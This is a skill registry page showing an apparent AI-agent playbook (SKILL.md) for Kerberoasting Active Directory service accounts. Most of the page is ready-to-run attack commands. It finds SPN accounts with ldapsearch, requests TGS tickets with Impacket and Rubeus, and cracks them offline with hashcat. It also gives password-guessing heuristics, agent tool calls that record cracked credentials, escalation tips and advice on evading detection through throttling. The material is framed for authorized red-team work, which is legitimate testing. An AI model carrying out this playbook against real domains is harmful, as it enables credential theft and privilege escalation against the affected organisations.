CtrlK
BlogDocsLog inGet started
Tessl Logo
SkillPublic

kerberoasting

Request Kerberos TGS tickets for SPN-bound service accounts and crack offline with hashcat — classic AD priv-esc primitive.

Quality

80%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide
SecuritybySnyk

Passed

No findings from the security scan

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md
SKILL.md
Quality
Evals
Security

Kerberoasting Playbook

Prerequisite

Any valid domain user. No special privileges required.

1. Identify roastable accounts

In a hosted engagement, inspect the authorized collection through bloodhound_mcp_find_objects and bloodhound_mcp_object_profile, or use a bounded read-only bloodhound_mcp_cypher_query when the semantic tools do not expose the SPN property. Confirm collection coverage first. In standalone OSS, use the registered bhce_cypher tool against that instance. Or LDAP-direct:

ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
  sAMAccountName servicePrincipalName > /tmp/spns.txt

2. Request TGS tickets

Impacket (most reliable):

GetUserSPNs.py DOM/USER:'PASS' -dc-ip DC_IP -request \
  -outputfile /tmp/kerb.hashes

Rubeus (from Windows beachhead):

Rubeus.exe kerberoast /outfile:C:\Windows\Temp\k.txt /nowrap

Modern hashes are $krb5tgs$23$*user$DOM$spn*$<ciphertext> (RC4). If forest is Win2012+, AES tickets may come back as $krb5tgs$18$*….

3. Crack offline

# RC4 (mode 13100)
hashcat -m 13100 -a 0 /tmp/kerb.hashes /usr/share/wordlists/rockyou.txt \
        --rules-file /usr/share/hashcat/rules/best64.rule

# AES256 (mode 19700)
hashcat -m 19700 -a 0 /tmp/kerb.hashes wordlist.txt

# Targeted rules for service-account passwords (often pattern-based)
hashcat -m 13100 -a 6 /tmp/kerb.hashes wordlist.txt '?d?d?d?d' \
        --rules-file /usr/share/hashcat/rules/d3ad0ne.rule

Service-account heuristics: 60-70% of kerberoasted accounts use:

  • ServiceName + season + year (e.g. SQLSvc2024!, IISWinter25)
  • App name + 4-digit numbers
  • Default install passwords (Veeam, SCCM, Splunk admins)
  • Custom dict from OSINT (company name, products, projects)

4. Promote cracked credential

kg_add_node(kind="credential", label="USER:CRACKED_PASSWORD",
            props={"source":"kerberoast","crack_time":"<n>m","mode":"hashcat-m13100"})
kg_add_edge(src=<cred>, dst=<user>, kind="authenticates")

5. Post-crack actions

Whatever the service account can reach is now yours:

  • Run BloodHound as the new cred → re-ingest
  • Often these accounts have AdminTo on the box hosting the service
  • Sometimes they're members of Tier-0 groups (yes, really)

OPSEC notes

  • Requesting TGS tickets is logged to 4769 events on the DC
  • Detection: 4769 with Ticket Encryption Type=0x17 (RC4) when the service supports AES is anomalous
  • Rate limiting: don't request all SPNs at once on a monitored network; Impacket has no built-in throttle, write a wrapper
  • Use -no-preauth to avoid lockout if doing manual TGS via kinit

CVSS

  • Roastable + crackable in scope timeframe: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
  • Roastable but uncrackable (long random pw): Informational
  • AES-only + no offline crack feasible: Low

Common services found

SPN prefixLikely accountTypical impact
MSSQLSvc/SQL service accountOften local admin on DB host
HTTP/sccm*SCCM serviceOften Domain Admin (misconfig)
MSOLAPSvc.3/SSASLocal admin on analysis server
kadmin/changepwKDC accountRARE — high value if hit
exchangeMDB/Exchange recoverySometimes priv group
Repository

PurpleAILAB/Decepticon

Path

packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md

Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.